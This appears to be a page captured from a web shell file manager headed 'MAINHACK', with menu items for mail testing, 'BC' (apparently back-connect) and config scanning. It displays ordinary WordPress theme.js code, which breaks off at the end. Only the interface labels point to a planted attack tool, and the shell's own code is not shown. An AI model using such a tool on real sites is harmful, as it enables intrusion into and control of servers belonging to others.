[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: theme.js
/** * @output wp-admin/js/theme.js */ /* global _wpThemeSettings, confirm, tb_position */ window.wp = window.wp || {}; ( function($) { // Set up our namespace... var themes, l10n; themes = wp.themes = wp.themes || {}; // Store the theme data and settings for organized and quick access. // themes.data.settings, themes.data.themes, themes.data.l10n. themes.data = _wpThemeSettings; l10n = themes.data.l10n; // Shortcut for isInstall check. themes.isInstall = !! themes.data.settings.isInstall; // Setup app structure. _.extend( themes, { model: {}, view: {}, routes: {}, router: {}, template: wp.template }); themes.Model = Backbone.Model.extend({ // Adds attributes to the default data coming through the .org themes api. // Map `id` to `slug` for shared code. initialize: function() { var description; if ( this.get( 'slug' ) ) { // If the theme is already installed, set an attribute. if ( _.indexOf( themes.data.installedThemes, this.get( 'slug' ) ) !== -1 ) { this.set({ installed: true }); } // If the theme is active, set an attribute. if ( themes.data.activeTheme === this.get( 'slug' ) ) { this.set({ active: true }); } } // Set the attributes. this.set({ // `slug` is for installation, `id` is for existing. id: this.get( 'slug' ) || this.get( 'id' ) }); // Map `section.description` to `description` // as the API sometimes returns it differently. if ( this.has( 'sections' ) ) { description = this.get( 'sections' ).description; this.set({ description: description }); } } }); // Main view controller for themes.php. // Unifies and renders all available views. themes.view.Appearance = wp.Backbone.View.extend({ el: '#wpbody-content .wrap .theme-browser', window: $( window ), // Pagination instance. page: 0, // Sets up a throttler for binding to 'scroll'. initialize: function( options ) { // Scroller checks how far the scroll position is. _.bindAll( this, 'scroller' ); this.SearchView = options.SearchView ? options.SearchView : themes.view.Search; // Bind to the scroll event and throttle // the results from this.scroller. this.window.on( 'scroll', _.throttle( this.scroller, 300 ) ); }, // Main render control. render: function() { // Setup the main theme view // with the current theme collection. this.view = new themes.view.Themes({ collection: this.collection, parent: this }); // Render search form. this.search(); this.$el.removeClass( 'search-loading' ); // Render and append. this.view.render(); this.$el.empty().append( this.view.el ).addClass( 'rendered' ); }, // Defines search element container. searchContainer: $( '.search-form' ), // Search input and view // for current theme collection. search: function() { var view, self = this; // Don't render the search if there is only one theme. if ( themes.data.themes.length === 1 ) { return; } view = new this.SearchView({ collection: self.collection, parent: this }); self.SearchView = view; // Render and append after screen title. view.render(); this.searchContainer .find( '.search-box' ) .append( $.parseHTML( '<label for="wp-filter-search-input">' + l10n.search + '</label>' ) ) .append( view.el ); this.searchContainer.on( 'submit', function( event ) { event.preventDefault(); }); }, // Checks when the user gets close to the bottom // of the mage and triggers a theme:scroll event. scroller: function() { var self = this, bottom, threshold; bottom = this.window.scrollTop() + self.window.height(); threshold = self.$el.offset().top + self.$el.outerHeight( false ) - self.window.height(); threshold = Math.round( threshold * 0.9 ); if ( bottom > threshold ) { this.trigger( 'theme:scroll' ); } } }); // Set up the Collection for our theme data. // @has 'id' 'name' 'screenshot' 'author' 'authorURI' 'version' 'active' ... themes.Collection = Backbone.Collection.extend({ model: themes.Model, // Search terms. terms: '', // Controls searching on the current theme collection // and triggers an update event. doSearch: function( value ) { // Don't do anything if we've already done this search. // Useful because the Search handler fires multiple times per keystroke. if ( this.terms === value ) { return; } // Updates terms with the value passed. this.terms = value; // If we have terms, run a search... if ( this.terms.length > 0 ) { this.search( this.terms ); } // If search is blank, show all themes. // Useful for resetting the views when you clean the input. if ( this.terms === '' ) { this.reset( themes.data.themes ); $( 'body' ).removeClass( 'no-results' ); } // Trigger a 'themes:update' event. this.trigger( 'themes:update' ); }, /** * Performs a search within the collection. * * @uses RegExp */ search: function( term ) { var match, results, haystack, name, description, author; // Start with a full collection. this.reset( themes.data.themes, { silent: true } ); // Trim the term. term = term.trim(); // Escape the term string for RegExp meta characters. term = term.replace( /[-\/\\^$*+?.()|[\]{}]/g, '\\$&' ); // Consider spaces as word delimiters and match the whole string // so matching terms can be combined. term = term.replace( / /g, ')(?=.*' ); match = new RegExp( '^(?=.*' + term + ').+', 'i' ); // Find results. // _.filter() and .test(). results = this.filter( function( data ) { name = data.get( 'name' ).replace( /(<([^>]+)>)/ig, '' ); description = data.get( 'description' ).replace( /(<([^>]+)>)/ig, '' ); author = data.get( 'author' ).replace( /(<([^>]+)>)/ig, '' ); haystack = _.union( [ name, data.get( 'id' ), description, author, data.get( 'tags' ) ] ); if ( match.test( data.get( 'author' ) ) && term.length > 2 ) { data.set( 'displayAuthor', true ); } return match.test( haystack ); }); if ( results.length === 0 ) { this.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } this.reset( results ); }, // Paginates the collection with a helper method // that slices the collection. paginate: function( instance ) { var collection = this; instance = instance || 0; // Themes per instance are set at 20. collection = _( collection.rest( 20 * instance ) ); collection = _( collection.first( 20 ) ); return collection; }, count: false, /* * Handles requests for more themes and caches results. * * * When we are missing a cache object we fire an apiCall() * which triggers events of `query:success` or `query:fail`. */ query: function( request ) { /** * @static * @type Array */ var queries = this.queries, self = this, query, isPaginated, count; // Store current query request args // for later use with the event `theme:end`. this.currentQuery.request = request; // Search the query cache for matches. query = _.find( queries, function( query ) { return _.isEqual( query.request, request ); }); // If the request matches the stored currentQuery.request // it means we have a paginated request. isPaginated = _.has( request, 'page' ); // Reset the internal api page counter for non-paginated queries. if ( ! isPaginated ) { this.currentQuery.page = 1; } // Otherwise, send a new API call and add it to the cache. if ( ! query && ! isPaginated ) { query = this.apiCall( request ).done( function( data ) { // Update the collection with the queried data. if ( data.themes ) { self.reset( data.themes ); count = data.info.results; // Store the results and the query request. queries.push( { themes: data.themes, request: request, total: count } ); } // Trigger a collection refresh event // and a `query:success` event with a `count` argument. self.trigger( 'themes:update' ); self.trigger( 'query:success', count ); if ( data.themes && data.themes.length === 0 ) { self.trigger( 'query:empty' ); } }).fail( function() { self.trigger( 'query:fail' ); }); } else { // If it's a paginated request we need to fetch more themes... if ( isPaginated ) { return this.apiCall( request, isPaginated ).done( function( data ) { // Add the new themes to the current collection. // @todo Update counter. self.add( data.themes ); self.trigger( 'query:success' ); // We are done loading themes for now. self.loadingThemes = false; }).fail( function() { self.trigger( 'query:fail' ); }); } if ( query.themes.length === 0 ) { self.trigger( 'query:empty' ); } else { $( 'body' ).removeClass( 'no-results' ); } // Only trigger an update event since we already have the themes // on our cached object. if ( _.isNumber( query.total ) ) { this.count = query.total; } this.reset( query.themes ); if ( ! query.total ) { this.count = this.length; } this.trigger( 'themes:update' ); this.trigger( 'query:success', this.count ); } }, // Local cache array for API queries. queries: [], // Keep track of current query so we can handle pagination. currentQuery: { page: 1, request: {} }, // Send request to api.wordpress.org/themes. apiCall: function( request, paginated ) { return wp.ajax.send( 'query-themes', { data: { // Request data. request: _.extend({ per_page: 100 }, request) }, beforeSend: function() { if ( ! paginated ) { // Spin it. $( 'body' ).addClass( 'loading-content' ).removeClass( 'no-results' ); } } }); }, // Static status controller for when we are loading themes. loadingThemes: false }); // This is the view that controls each theme item // that will be displayed on the screen. themes.view.Theme = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme', // Reflects which theme view we have. // 'grid' (default) or 'detail'. state: 'grid', // The HTML template for each element to be rendered. html: themes.template( 'theme' ), events: { 'click': themes.isInstall ? 'preview': 'expand', 'keydown': themes.isInstall ? 'preview': 'expand', 'touchend': themes.isInstall ? 'preview': 'expand', 'keyup': 'addFocus', 'touchmove': 'preventExpand', 'click .theme-install': 'installTheme', 'click .update-message': 'updateTheme' }, touchDrag: false, initialize: function() { this.model.on( 'change', this.render, this ); }, render: function() { var data = this.model.toJSON(); // Render themes using the html template. this.$el.html( this.html( data ) ).attr( 'data-slug', data.id ); // Renders active theme styles. this.activeTheme(); if ( this.model.get( 'displayAuthor' ) ) { this.$el.addClass( 'display-author' ); } }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { if ( this.model.get( 'active' ) ) { this.$el.addClass( 'active' ); } }, // Add class of focus to the theme we are focused on. addFocus: function() { var $themeToFocus = ( $( ':focus' ).hasClass( 'theme' ) ) ? $( ':focus' ) : $(':focus').parents('.theme'); $('.theme.focus').removeClass('focus'); $themeToFocus.addClass('focus'); }, // Single theme overlay screen. // It's shown when clicking a theme. expand: function( event ) { var self = this; event = event || window.event; // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Prevent the modal from showing when the user clicks // one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a' ) ) { return; } // Prevent the modal from showing when the user clicks one of the direct action buttons. if ( $( event.target ).is( '.theme-actions a, .update-message, .button-link, .notice-dismiss' ) ) { return; } // Set focused theme to current element. themes.focusedTheme = this.$el; this.trigger( 'theme:expand', self.model.cid ); }, preventExpand: function() { this.touchDrag = true; }, preview: function( event ) { var self = this, current, preview; event = event || window.event; // Bail if the user scrolled on a touch device. if ( this.touchDrag === true ) { return this.touchDrag = false; } // Allow direct link path to installing a theme. if ( $( event.target ).not( '.install-theme-preview' ).parents( '.theme-actions' ).length ) { return; } // 'Enter' and 'Space' keys expand the details view when a theme is :focused. if ( event.type === 'keydown' && ( event.which !== 13 && event.which !== 32 ) ) { return; } // Pressing Enter while focused on the buttons shouldn't open the preview. if ( event.type === 'keydown' && event.which !== 13 && $( ':focus' ).hasClass( 'button' ) ) { return; } event.preventDefault(); event = event || window.event; // Set focus to current theme. themes.focusedTheme = this.$el; // Construct a new Preview view. themes.preview = preview = new themes.view.Preview({ model: this.model }); // Render the view and append it. preview.render(); this.setNavButtonsState(); // Hide previous/next navigation if there is only one theme. if ( this.model.collection.length === 1 ) { preview.$el.addClass( 'no-navigation' ); } else { preview.$el.removeClass( 'no-navigation' ); } // Append preview. $( 'div.wrap' ).append( preview.el ); // Listen to our preview object // for `theme:next` and `theme:previous` events. this.listenTo( preview, 'theme:next', function() { // Keep local track of current theme model. current = self.model; // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get next theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) + 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { self.options.parent.parent.trigger( 'theme:end' ); return self.current = current; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.next-theme' ).trigger( 'focus' ); }) .listenTo( preview, 'theme:previous', function() { // Keep track of current theme model. current = self.model; // Bail early if we are at the beginning of the collection. if ( self.model.collection.indexOf( self.current ) === 0 ) { return; } // If we have ventured away from current model update the current model position. if ( ! _.isUndefined( self.current ) ) { current = self.current; } // Get previous theme model. self.current = self.model.collection.at( self.model.collection.indexOf( current ) - 1 ); // If we have no more themes, bail. if ( _.isUndefined( self.current ) ) { return; } preview.model = self.current; // Render and append. preview.render(); this.setNavButtonsState(); $( '.previous-theme' ).trigger( 'focus' ); }); this.listenTo( preview, 'preview:close', function() { self.current = self.model; }); }, // Handles .disabled classes for previous/next buttons in theme installer preview. setNavButtonsState: function() { var $themeInstaller = $( '.theme-install-overlay' ), current = _.isUndefined( this.current ) ? this.model : this.current, previousThemeButton = $themeInstaller.find( '.previous-theme' ), nextThemeButton = $themeInstaller.find( '.next-theme' ); // Disable previous at the zero position. if ( 0 === this.model.collection.indexOf( current ) ) { previousThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); nextThemeButton.trigger( 'focus' ); } // Disable next if the next model is undefined. if ( _.isUndefined( this.model.collection.at( this.model.collection.indexOf( current ) + 1 ) ) ) { nextThemeButton .addClass( 'disabled' ) .prop( 'disabled', true ); previousThemeButton.trigger( 'focus' ); } }, installTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { 'installed': true } ); } if ( response.blockTheme ) { _this.model.set( { 'block_theme': true } ); } } ); wp.updates.installTheme( { slug: $( event.target ).data( 'slug' ) } ); }, updateTheme: function( event ) { var _this = this; if ( ! this.model.get( 'hasPackage' ) ) { return; } event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { _this.model.off( 'change', _this.render, _this ); if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.model.on( 'change', _this.render, _this ); } ); wp.updates.updateTheme( { slug: $( event.target ).parents( 'div.theme' ).first().data( 'slug' ) } ); } }); // Theme Details view. // Sets up a modal overlay with the expanded theme data. themes.view.Details = wp.Backbone.View.extend({ // Wrap theme data on a div.theme element. className: 'theme-overlay', events: { 'click': 'collapse', 'click .delete-theme': 'deleteTheme', 'click .left': 'previousTheme', 'click .right': 'nextTheme', 'click #update-theme': 'updateTheme', 'click .toggle-auto-update': 'autoupdateState' }, // The HTML template for the theme overlay. html: themes.template( 'theme-single' ), render: function() { var data = this.model.toJSON(); this.$el.html( this.html( data ) ); // Renders active theme styles. this.activeTheme(); // Set up navigation events. this.navigation(); // Checks screenshot size. this.screenshotCheck( this.$el ); // Contain "tabbing" inside the overlay. this.containFocus( this.$el ); }, // Adds a class to the currently active theme // and to the overlay in detailed view mode. activeTheme: function() { // Check the model has the active property. this.$el.toggleClass( 'active', this.model.get( 'active' ) ); }, // Set initial focus and constrain tabbing within the theme browser modal. containFocus: function( $el ) { // Set initial focus on the primary action control. _.delay( function() { $( '.theme-overlay' ).trigger( 'focus' ); }, 100 ); // Constrain tabbing within the modal. $el.on( 'keydown.wp-themes', function( event ) { var $firstFocusable = $el.find( '.theme-header button:not(.disabled)' ).first(), $lastFocusable = $el.find( '.theme-actions a:visible' ).last(); // Check for the Tab key. if ( 9 === event.which ) { if ( $firstFocusable[0] === event.target && event.shiftKey ) { $lastFocusable.trigger( 'focus' ); event.preventDefault(); } else if ( $lastFocusable[0] === event.target && ! event.shiftKey ) { $firstFocusable.trigger( 'focus' ); event.preventDefault(); } } }); }, // Single theme overlay screen. // It's shown when clicking a theme. collapse: function( event ) { var self = this, scroll; event = event || window.event; // Prevent collapsing detailed view when there is only one theme available. if ( themes.data.themes.length === 1 ) { return; } // Detect if the click is inside the overlay and don't close it // unless the target was the div.back button. if ( $( event.target ).is( '.theme-backdrop' ) || $( event.target ).is( '.close' ) || event.keyCode === 27 ) { // Add a temporary closing class while overlay fades out. $( 'body' ).addClass( 'closing-overlay' ); // With a quick fade out animation. this.$el.fadeOut( 130, function() { // Clicking outside the modal box closes the overlay. $( 'body' ).removeClass( 'closing-overlay' ); // Handle event cleanup. self.closeOverlay(); // Get scroll position to avoid jumping to the top. scroll = document.body.scrollTop; // Clean the URL structure. themes.router.navigate( themes.router.baseUrl( '' ) ); // Restore scroll position. document.body.scrollTop = scroll; // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }); } }, // Handles .disabled classes for next/previous buttons. navigation: function() { // Disable Left/Right when at the start or end of the collection. if ( this.model.cid === this.model.collection.at(0).cid ) { this.$el.find( '.left' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } if ( this.model.cid === this.model.collection.at( this.model.collection.length - 1 ).cid ) { this.$el.find( '.right' ) .addClass( 'disabled' ) .prop( 'disabled', true ); } }, // Performs the actions to effectively close // the theme details overlay. closeOverlay: function() { $( 'body' ).removeClass( 'modal-open' ); this.remove(); this.unbind(); this.trigger( 'theme:collapse' ); }, // Set state of the auto-update settings link after it has been changed and saved. autoupdateState: function() { var callback, _this = this; // Support concurrent clicks in different Theme Details overlays. callback = function( event, data ) { var autoupdate; if ( _this.model.get( 'id' ) === data.asset ) { autoupdate = _this.model.get( 'autoupdate' ); autoupdate.enabled = 'enable' === data.state; _this.model.set( { autoupdate: autoupdate } ); $( document ).off( 'wp-auto-update-setting-changed', callback ); } }; // Triggered in updates.js $( document ).on( 'wp-auto-update-setting-changed', callback ); }, updateTheme: function( event ) { var _this = this; event.preventDefault(); wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-update-success', function( event, response ) { if ( _this.model.get( 'id' ) === response.slug ) { _this.model.set( { hasUpdate: false, version: response.newVersion } ); } _this.render(); } ); wp.updates.updateTheme( { slug: $( event.target ).data( 'slug' ) } ); }, deleteTheme: function( event ) { var _this = this, _collection = _this.model.collection, _themes = themes; event.preventDefault(); // Confirmation dialog for deleting a theme. if ( ! window.confirm( wp.themes.data.settings.confirmDelete ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).one( 'wp-theme-delete-success', function( event, response ) { _this.$el.find( '.close' ).trigger( 'click' ); $( '[data-slug="' + response.slug + '"]' ).css( { backgroundColor:'#faafaa' } ).fadeOut( 350, function() { $( this ).remove(); _themes.data.themes = _.without( _themes.data.themes, _.findWhere( _themes.data.themes, { id: response.slug } ) ); $( '.wp-filter-search' ).val( '' ); _collection.doSearch( '' ); _collection.remove( _this.model ); _collection.trigger( 'themes:update' ); } ); } ); wp.updates.deleteTheme( { slug: this.model.get( 'id' ) } ); }, nextTheme: function() { var self = this; self.trigger( 'theme:next', self.model.cid ); return false; }, previousTheme: function() { var self = this; self.trigger( 'theme:previous', self.model.cid ); return false; }, // Checks if the theme screenshot is the old 300px width version // and adds a corresponding class if it's true. screenshotCheck: function( el ) { var screenshot, image; screenshot = el.find( '.screenshot img' ); image = new Image(); image.src = screenshot.attr( 'src' ); // Width check. if ( image.width && image.width <= 300 ) { el.addClass( 'small-screenshot' ); } } }); // Theme Preview view. // Sets up a modal overlay with the expanded theme data. themes.view.Preview = themes.view.Details.extend({ className: 'wp-full-overlay expanded', el: '.theme-install-overlay', events: { 'click .close-full-overlay': 'close', 'click .collapse-sidebar': 'collapse', 'click .devices button': 'previewDevice', 'click .previous-theme': 'previousTheme', 'click .next-theme': 'nextTheme', 'keyup': 'keyEvent', 'click .theme-install': 'installTheme' }, // The HTML template for the theme preview. html: themes.template( 'theme-preview' ), render: function() { var self = this, currentPreviewDevice, data = this.model.toJSON(), $body = $( document.body ); $body.attr( 'aria-busy', 'true' ); this.$el.removeClass( 'iframe-ready' ).html( this.html( data ) ); currentPreviewDevice = this.$el.data( 'current-preview-device' ); if ( currentPreviewDevice ) { self.togglePreviewDeviceButtons( currentPreviewDevice ); } themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.get( 'id' ) ), { replace: false } ); this.$el.fadeIn( 200, function() { $body.addClass( 'theme-installer-active full-overlay-active' ); }); this.$el.find( 'iframe' ).one( 'load', function() { self.iframeLoaded(); }); }, iframeLoaded: function() { this.$el.addClass( 'iframe-ready' ); $( document.body ).attr( 'aria-busy', 'false' ); }, close: function() { this.$el.fadeOut( 200, function() { $( 'body' ).removeClass( 'theme-installer-active full-overlay-active' ); // Return focus to the theme div. if ( themes.focusedTheme ) { themes.focusedTheme.find('.more-details').trigger( 'focus' ); } }).removeClass( 'iframe-ready' ); // Restore the previous browse tab if available. if ( themes.router.selectedTab ) { themes.router.navigate( themes.router.baseUrl( '?browse=' + themes.router.selectedTab ) ); themes.router.selectedTab = false; } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } this.trigger( 'preview:close' ); this.undelegateEvents(); this.unbind(); return false; }, collapse: function( event ) { var $button = $( event.currentTarget ); if ( 'true' === $button.attr( 'aria-expanded' ) ) { $button.attr({ 'aria-expanded': 'false', 'aria-label': l10n.expandSidebar }); } else { $button.attr({ 'aria-expanded': 'true', 'aria-label': l10n.collapseSidebar }); } this.$el.toggleClass( 'collapsed' ).toggleClass( 'expanded' ); return false; }, previewDevice: function( event ) { var device = $( event.currentTarget ).data( 'device' ); this.$el .removeClass( 'preview-desktop preview-tablet preview-mobile' ) .addClass( 'preview-' + device ) .data( 'current-preview-device', device ); this.togglePreviewDeviceButtons( device ); }, togglePreviewDeviceButtons: function( newDevice ) { var $devices = $( '.wp-full-overlay-footer .devices' ); $devices.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', false ); $devices.find( 'button.preview-' + newDevice ) .addClass( 'active' ) .attr( 'aria-pressed', true ); }, keyEvent: function( event ) { // The escape key closes the preview. if ( event.keyCode === 27 ) { this.undelegateEvents(); this.close(); } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // The right arrow key, next theme. if ( event.keyCode === 39 ) { _.once( this.nextTheme() ); } // The left arrow key, previous theme. if ( event.keyCode === 37 ) { this.previousTheme(); } }, installTheme: function( event ) { var _this = this, $target = $( event.target ); event.preventDefault(); if ( $target.hasClass( 'disabled' ) ) { return; } wp.updates.maybeRequestFilesystemCredentials( event ); $( document ).on( 'wp-theme-install-success', function() { _this.model.set( { 'installed': true } ); } ); wp.updates.installTheme( { slug: $target.data( 'slug' ) } ); } }); // Controls the rendering of div.themes, // a wrapper that will hold all the theme elements. themes.view.Themes = wp.Backbone.View.extend({ className: 'themes wp-clearfix', $overlay: $( 'div.theme-overlay' ), // Number to keep track of scroll position // while in theme-overlay mode. index: 0, // The theme count element. count: $( '.wrap .theme-count' ), // The live themes count. liveThemeCount: 0, initialize: function( options ) { var self = this; // Set up parent. this.parent = options.parent; // Set current view to [grid]. this.setView( 'grid' ); // Move the active theme to the beginning of the collection. self.currentTheme(); // When the collection is updated by user input... this.listenTo( self.collection, 'themes:update', function() { self.parent.page = 0; self.currentTheme(); self.render( this ); } ); // Update theme count to full result set when available. this.listenTo( self.collection, 'query:success', function( count ) { if ( _.isNumber( count ) ) { self.count.text( count ); self.announceSearchResults( count ); } else { self.count.text( self.collection.length ); self.announceSearchResults( self.collection.length ); } }); this.listenTo( self.collection, 'query:empty', function() { $( 'body' ).addClass( 'no-results' ); }); this.listenTo( this.parent, 'theme:scroll', function() { self.renderThemes( self.parent.page ); }); this.listenTo( this.parent, 'theme:close', function() { if ( self.overlay ) { self.overlay.closeOverlay(); } } ); // Bind keyboard events. $( 'body' ).on( 'keyup', function( event ) { if ( ! self.overlay ) { return; } // Bail if the filesystem credentials dialog is shown. if ( $( '#request-filesystem-credentials-dialog' ).is( ':visible' ) ) { return; } // Return if Ctrl + Shift or Shift key pressed if ( event.shiftKey || ( event.ctrlKey && event.shiftKey ) ) { return; } // Pressing the right arrow key fires a theme:next event. if ( event.keyCode === 39 ) { self.overlay.nextTheme(); } // Pressing the left arrow key fires a theme:previous event. if ( event.keyCode === 37 ) { self.overlay.previousTheme(); } // Pressing the escape key fires a theme:collapse event. if ( event.keyCode === 27 ) { self.overlay.collapse( event ); } }); }, // Manages rendering of theme pages // and keeping theme count in sync. render: function() { // Clear the DOM, please. this.$el.empty(); // If the user doesn't have switch capabilities or there is only one theme // in the collection, render the detailed view of the active theme. if ( themes.data.themes.length === 1 ) { // Constructs the view. this.singleTheme = new themes.view.Details({ model: this.collection.models[0] }); // Render and apply a 'single-theme' class to our container. this.singleTheme.render(); this.$el.addClass( 'single-theme' ); this.$el.append( this.singleTheme.el ); } // Generate the themes using page instance // while checking the collection has items. if ( this.options.collection.size() > 0 ) { this.renderThemes( this.parent.page ); } // Display a live theme count for the collection. this.liveThemeCount = this.collection.count ? this.collection.count : this.collection.length; this.count.text( this.liveThemeCount ); /* * In the theme installer the themes count is already announced * because `announceSearchResults` is called on `query:success`. */ if ( ! themes.isInstall ) { this.announceSearchResults( this.liveThemeCount ); } }, // Iterates through each instance of the collection // and renders each theme module. renderThemes: function( page ) { var self = this; self.instance = self.collection.paginate( page ); // If we have no more themes, bail. if ( self.instance.size() === 0 ) { // Fire a no-more-themes event. this.parent.trigger( 'theme:end' ); return; } // Make sure the add-new stays at the end. if ( ! themes.isInstall && page >= 1 ) { $( '.add-new-theme' ).remove(); } // Loop through the themes and setup each theme view. self.instance.each( function( theme ) { self.theme = new themes.view.Theme({ model: theme, parent: self }); // Render the views... self.theme.render(); // ...and append them to div.themes. self.$el.append( self.theme.el ); // Binds to theme:expand to show the modal box // with the theme details. self.listenTo( self.theme, 'theme:expand', self.expand, self ); }); // 'Add new theme' element shown at the end of the grid. if ( ! themes.isInstall && themes.data.settings.canInstall ) { this.$el.append( '<div class="theme add-new-theme"><a href="' + themes.data.settings.installURI + '"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">' + l10n.addNew + '</h2></a></div>' ); } this.parent.page++; }, // Grabs current theme and puts it at the beginning of the collection. currentTheme: function() { var self = this, current; current = self.collection.findWhere({ active: true }); // Move the active theme to the beginning of the collection. if ( current ) { self.collection.remove( current ); self.collection.add( current, { at:0 } ); } }, // Sets current view. setView: function( view ) { return view; }, // Renders the overlay with the ThemeDetails view. // Uses the current model data. expand: function( id ) { var self = this, $card, $modal; // Set the current theme model. this.model = self.collection.get( id ); // Trigger a route update for the current model. themes.router.navigate( themes.router.baseUrl( themes.router.themePath + this.model.id ) ); // Sets this.view to 'detail'. this.setView( 'detail' ); $( 'body' ).addClass( 'modal-open' ); // Set up the theme details view. this.overlay = new themes.view.Details({ model: self.model }); this.overlay.render(); if ( this.model.get( 'hasUpdate' ) ) { $card = $( '[data-slug="' + this.model.id + '"]' ); $modal = $( this.overlay.el ); if ( $card.find( '.updating-message' ).length ) { $modal.find( '.notice-warning h3' ).remove(); $modal.find( '.notice-warning' ) .removeClass( 'notice-large' ) .addClass( 'updating-message' ) .find( 'p' ).text( wp.updates.l10n.updating ); } else if ( $card.find( '.notice-error' ).length ) { $modal.find( '.notice-warning' ).remove(); } } this.$overlay.html( this.overlay.el ); // Bind to theme:next and theme:previous triggered by the arrow keys. // Keep track of the current model so we can infer an index position. this.listenTo( this.overlay, 'theme:next', function() { // Renders the next theme on the overlay. self.next( [ self.model.cid ] ); }) .listenTo( this.overlay, 'theme:previous', function() { // Renders the previous theme on the overlay. self.previous( [ self.model.cid ] ); }); }, /* * This method renders the next theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ next: function( args ) { var self = this, model, nextModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the next model within the collection. nextModel = self.collection.at( self.collection.indexOf( model ) + 1 ); // Confidence check which also serves as a boundary test. if ( nextModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', nextModel.cid ); } }, /* * This method renders the previous theme on the overlay modal * based on the current position in the collection. * * @params [model cid] */ previous: function( args ) { var self = this, model, previousModel; // Get the current theme. model = self.collection.get( args[0] ); // Find the previous model within the collection. previousModel = self.collection.at( self.collection.indexOf( model ) - 1 ); if ( previousModel !== undefined ) { // We have a new theme... // Close the overlay. this.overlay.closeOverlay(); // Trigger a route update for the current model. self.theme.trigger( 'theme:expand', previousModel.cid ); } }, // Dispatch audible search results feedback message. announceSearchResults: function( count ) { if ( 0 === count ) { wp.a11y.speak( l10n.noThemesFound ); } else { wp.a11y.speak( l10n.themesFound.replace( '%d', count ) ); } } }); // Search input view controller. themes.view.Search = wp.Backbone.View.extend({ tagName: 'input', className: 'wp-filter-search', id: 'wp-filter-search-input', searching: false, attributes: { type: 'search', 'aria-describedby': 'live-search-desc' }, events: { 'input': 'search', 'keyup': 'search', 'blur': 'pushState' }, initialize: function( options ) { this.parent = options.parent; this.listenTo( this.parent, 'theme:close', function() { this.searching = false; } ); }, search: function( event ) { // Clear on escape. if ( event.type === 'keyup' && event.which === 27 ) { event.target.value = ''; } // Since doSearch is debounced, it will only run when user input comes to a rest. this.doSearch( event ); }, // Runs a search on the theme collection. doSearch: function( event ) { var options = {}; this.collection.doSearch( event.target.value.replace( /\+/g, ' ' ) ); // if search is initiated and key is not return. if ( this.searching && event.which !== 13 ) { options.replace = true; } else { this.searching = true; } // Update the URL hash. if ( event.target.value ) { themes.router.navigate( themes.router.baseUrl( themes.router.searchPath + event.target.value ), options ); } else { themes.router.navigate( themes.router.baseUrl( '' ) ); } }, pushState: function( event ) { var url = themes.router.baseUrl( '' ); if ( event.target.value ) { url = themes.router.baseUrl( themes.router.searchPath + encodeURIComponent( event.target.value ) ); } this.searching = false; themes.router.navigate( url ); } }); /** * Navigate router. * * @since 4.9.0 * * @param {string} url - URL to navigate to. * @param {Object} state - State. * @return {void} */ function navigateRouter( url, state ) { var router = this; if ( Backbone.history._hasPushState ) { Backbone.Router.prototype.navigate.call( router, url, state ); } } // Sets up the routes events for relevant url queries. // Listens to [theme] and [search] params. themes.Router = Backbone.Router.extend({ routes: { 'themes.php?theme=:slug': 'theme', 'themes.php?search=:query': 'search', 'themes.php?s=:query': 'search', 'themes.php': 'themes', '': 'themes' }, baseUrl: function( url ) { return 'themes.php' + url; }, themePath: '?theme=', searchPath: '?search=', search: function( query ) { $( '.wp-filter-search' ).val( query.replace( /\+/g, ' ' ) ); }, themes: function() { $( '.wp-filter-search' ).val( '' ); }, navigate: navigateRouter }); // Execute and setup the application. themes.Run = { init: function() { // Initializes the blog's theme library view. // Create a new collection with data. this.themes = new themes.Collection( themes.data.themes ); // Set up the view. this.view = new themes.view.Appearance({ collection: this.themes }); this.render(); // Start debouncing user searches after Backbone.history.start(). this.view.SearchView.doSearch = _.debounce( this.view.SearchView.doSearch, 500 ); }, render: function() { // Render results. this.view.render(); this.routes(); if ( Backbone.History.started ) { Backbone.history.stop(); } Backbone.history.start({ root: themes.data.settings.adminUrl, pushState: true, hashChange: false }); }, routes: function() { var self = this; // Bind to our global thx object // so that the object is available to sub-views. themes.router = new themes.Router(); // Handles theme details route event. themes.router.on( 'route:theme', function( slug ) { self.view.view.expand( slug ); }); themes.router.on( 'route:themes', function() { self.themes.doSearch( '' ); self.view.trigger( 'theme:close' ); }); // Handles search route event. themes.router.on( 'route:search', function() { $( '.wp-filter-search' ).trigger( 'keyup' ); }); this.extraRoutes(); }, extraRoutes: function() { return false; } }; // Extend the main Search view. themes.view.InstallerSearch = 